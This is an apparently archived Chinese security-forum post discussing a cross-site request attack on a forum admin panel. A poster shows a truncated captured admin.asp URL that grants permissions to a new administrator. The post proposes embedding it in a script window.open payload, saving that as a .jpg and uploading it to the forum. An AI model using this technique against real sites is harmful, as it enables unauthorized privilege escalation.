木头

不知道是不是误解了我意思呢.
h4k_b4n[BCT]
和netsnow说的我跨站语句长是不是指
http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2
这一句呢?
我个URL是我在给新加的管理员加权限时.抓包构造出来的URL
我们可以新建一个TXT文档写入以下代码..然后改后缀为jpg的.上传到论坛..但也就如netsnow所说.利用不大..我想还是可以更隐蔽的.
<script>window.open("http://127.0.0.1/Admin/admin.asp ... Submit=%B8%FC%D0%C2");</script>

帖子899 精华16 积分6857 阅读权限150 性别男 在线时间534 小时 注册时间2004-12-6 最后登录2008-7-18 查看个人网站
查看详细资料TOP

h4k_b4n[BCT]
荣誉会员